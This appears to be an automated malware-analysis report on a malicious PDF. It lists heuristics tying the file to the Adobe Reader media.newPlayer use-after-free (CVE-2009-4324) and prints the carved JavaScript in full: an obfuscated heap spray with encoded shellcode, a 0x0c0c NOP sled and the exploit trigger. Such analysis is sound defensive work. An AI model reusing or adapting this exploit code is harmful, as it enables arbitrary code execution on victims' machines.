MALICIOUS
228
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
The PDF file contains embedded JavaScript streams that are heavily obfuscated, indicated by the 'unescape()' calls and 'Hex escape obfuscation' heuristic. The ML classifier strongly suggests malicious intent. The JavaScript is likely designed to exploit a vulnerability in the PDF reader, potentially leading to arbitrary code execution. No specific malware family could be identified due to the obfuscation.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 6
-
media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
-
JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTERPDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.Matched line in script
var nop0 = unescape("\x25\x750c0c"); -
Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
-
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
- http://ns.adobe.com/xap/1.0/In PDF document text
- http://purl.org/dc/elements/1.1/In PDF document text
- http://ns.adobe.com/xap/1.0/mm/In PDF document text
- http://ns.adobe.com/pdf/1.3/In PDF document text
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0018_000.js |
pdf-javascript-stream | PDF /JS object 18 at offset 0x10EF | 2119 bytes |
SHA-256: 7d95b5abdd074950383959db145483db1f3404cd081ec4f51dd1252155880488 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s). Carved artifact contains 1 long hex-escaped blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var ss;//ahlfah
for(i=0;i<18000;i++)
ss = ss+0x70;
function AppendLoop(ss,len)
{
for(slen=0;slen<len;)
{
ss +=ss;
slen = ss.length;
}
return ss;
}
function rep(str)
{
var sc='';
for(var i=0;i<str["\x6c\x65\x6e\x67\x74\x68"];i+=4)
sc+="\x25\x75"+str["\x73\x75\x62\x73\x74\x72"](i,4);
return sc;
}
var une = unescape;
var sc = "c8d974d9f424eebae0ec29de5fc937b157318314100126024207dee055eedee4eceebabfdc4fdee067eed2a09c6573fc84658fe8996555dcc29add98ba1ba86befceed15a52773a129ed05d352e1e6f0981c1fe8e12504e307aee51199f18007b265ddc48a33d26b67a5c2be31edda6bef6575250eb7ed5c6f35da23ec8421b310b9d9db1f9b816975128cb29b1121e41099891f75169e8aec86def013eed69713bc2ab7ab67b41861ee2aa713bed6979b1121181099891f671ed2afab651e18fbe6ee60acb92902bb11361813a3211f89f8ce1a26ba4f4fe442a83a7743019dc3e5dee4ce2cdee018b2dee3eed6dee0";
sc = une(rep(sc));
function j_exp()
{
var a = "\x6D\x65\x64";
var c = "\x69\x61";
var b = "\x6E\x65\x77";
var k = "\x50\x6C\x61\x79";
var d = "\x65\x72";
var e = "\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29";
var f = "\x70\x40\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31";
var g = "\x20\x3A\x20\x79\x79\x79\x79\x31\x31\x31";
var h = "\x70\x72\x69\x6E";
var i = "\x74\x64";
var j = h+i;
var str1="0d0c0d0c0d0c0d0c41706d7a554b4d67794f514f6f4d585a764f4c566f4b48584249666d566f625a456775686a465258714e79617a614878756b754d4c57647a58704d4644624b4f";
str1 = une(rep(str1));
var nop0 = unescape("\x25\x750c0c");
var ab = "\x76\x69\x65\x77\x65\x72\x56";
var bc = "\x65\x72\x73\x69\x6F\x6E";
memory=new Array();
for(i=0;i<0xE00;i++)
{
memory[i] = AppendLoop(nop0,18000);
memory[i] +=sc;
}
if(app[ab+bc]<9)
{
util[j](f+g, e);
util[j](f+g, e);
try {this[a+c][b+k+d](null);} catch(e) {}
util[j](f+g, e);
}
else
{
util[j](f+g, e);
util[j](f+g, e);
try {this[a+c][b+k+d](null);} catch(e) {}
util[j](str1,e);
}
}
if(app["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"]<9.3)
{
j_exp();
}
|
|||
javascript_obj0018_001.js |
pdf-javascript-stream | PDF /JS object 18 at offset 0x1111 | 3853 bytes |
SHA-256: d6e24f998ef208388b326a6b745d7734d5c236b9cac77f499d9124c03b41869a |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s). Carved artifact contains 1 long hex-escaped blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var ss;//ahlfah
for(i=0;i<18000;i++)
ss = ss+0x70;
function AppendLoop(ss,len)
{
for(slen=0;slen<len;)
{
ss +=ss;
slen = ss.length;
}
return ss;
}
function rep(str)
{
var sc='';
for(var i=0;i<str["\x6c\x65\x6e\x67\x74\x68"];i+=4)
sc+="\x25\x75"+str["\x73\x75\x62\x73\x74\x72"](i,4);
return sc;
}
var une = unescape;
var sc = "c8d974d9f424eebae0ec29de5fc937b157318314100126024207dee055eedee4eceebabfdc4fdee067eed2a09c6573fc84658fe8996555dcc29add98ba1ba86befceed15a52773a129ed05d352e1e6f0981c1fe8e12504e307aee51199f18007b265ddc48a33d26b67a5c2be31edda6bef6575250eb7ed5c6f35da23ec8421b310b9d9db1f9b816975128cb29b1121e41099891f75169e8aec86def013eed69713bc2ab7ab67b41861ee2aa713bed6979b1121181099891f671ed2afab651e18fbe6ee60acb92902bb11361813a3211f89f8ce1a26ba4f4fe442a83a7743019dc3e5dee4ce2cdee018b2dee3eed6dee0";
sc = une(rep(sc));
function j_exp()
{
var a = "\x6D\x65\x64";
var c = "\x69\x61";
var b = "\x6E\x65\x77";
var k = "\x50\x6C\x61\x79";
var d = "\x65\x72";
var e = "\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29";
var f = "\x70\x40\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31";
var g = "\x20\x3A\x20\x79\x79\x79\x79\x31\x31\x31";
var h = "\x70\x72\x69\x6E";
var i = "\x74\x64";
var j = h+i;
var str1="0d0c0d0c0d0c0d0c41706d7a554b4d67794f514f6f4d585a764f4c566f4b48584249666d566f625a456775686a465258714e79617a614878756b754d4c57647a58704d4644624b4f";
str1 = une(rep(str1));
var nop0 = unescape("\x25\x750c0c");
var ab = "\x76\x69\x65\x77\x65\x72\x56";
var bc = "\x65\x72\x73\x69\x6F\x6E";
memory=new Array();
for(i=0;i<0xE00;i++)
{
memory[i] = AppendLoop(nop0,18000);
memory[i] +=sc;
}
if(app[ab+bc]<9)
{
util[j](f+g, e);
util[j](f+g, e);
try {this[a+c][b+k+d](null);} catch(e) {}
util[j](f+g, e);
}
else
{
util[j](f+g, e);
util[j](f+g, e);
try {this[a+c][b+k+d](null);} catch(e) {}
util[j](str1,e);
}
}
if(app["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"]<9.3)
{
j_exp();
}
endstream
endobj
2 0 obj
<</Rotate 0
/pdftk_PageNum 1
/CropBox [0.0 0.0 595.0 842.0]
/MediaBox [0.0 0.0 595.0 842.0]
/Resources <</XObject <</Fm0 13 0 R
>>
>>
/Parent 1 0 R
/Contents 19 0 R
/LastModified (D:20100629101450+08'00')
/PieceInfo 20 0 R
/Type /Page
>>
endobj
19 0 obj
<</Length 12
>>
stream
q
/Fm0 Do
Q
endstream
endobj
10 0 obj
(DefaultFlow)
endobj
21 0 obj
<</Flow 10 0 R
>>
endobj
22 0 obj
(D:20100629021450Z)
endobj
23 0 obj
<</LastModified 22 0 R
/Private 21 0 R
>>
endobj
24 0 obj
<</PDFWP 23 0 R
>>
endobj
13 0 obj
<</Resources <<>>
/BBox [108.0 72.0 487.0 770.0]
/Matrix [1.0 0.0 0.0 1.0 0.0 0.0]
/FormType 1
/Subtype /Form
/LastModified 22 0 R
/Length 0
/Type /XObject
/PieceInfo 24 0 R
>>
stream
endstream
endobj
20 0 obj
<</PDFWP 25 0 R
>>
endobj
25 0 obj
<</LastModified 26 0 R
/Private 27 0 R
>>
endobj
27 0 obj
<<>>
endobj
26 0 obj
(D:20100629021450Z)
endobj
28 0 obj
<</Creator (�� A c r o b a t ��Vh 8 . 0)
/Title (��g*h ��)
/Producer (Adobe Acrobat 8.0)
/ModDate (D:20100629101554+08'00')
/CreationDate (D:20100629101447+08'00')
>>
endobj
xref
0 29
0000000000 65535 f
0000000015 00000 n
0000006506 00000 n
0000000071 00000 n
0000003647 00000 n
0000003680 00000 n
0000003802 00000 n
0000003735 00000 n
0000003837 00000 n
0000003880 00000 n
0000006821 00000 n
0000003900 00000 n
0000003956 00000 n
0000007014 00000 n
0000004047 00000 n
0000004206 00000 n
0000004246 00000 n
0000004288 00000 n
0000004335 00000 n
0000006759 00000 n
0000007225 00000 n
0000006851 00000 n
0000006885 00000 n
0000006921 00000 n
0000006979 00000 n
0000007260 00000 n
0000007339 00000 n
0000007318 00000 n
0000007375 00000 n
trailer
<</Info 28 0 R
/Root 14 0 R
/Size 29
>>
startxref
7563
%%EOF
|
|||
legacy_pdfkit_stage_000.js |
deobfuscated-js | string-concatenation normalized Acrobat API aliases at offset 0x10EF | 126 bytes |
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74 |
|||
Preview scriptFirst 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */ |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.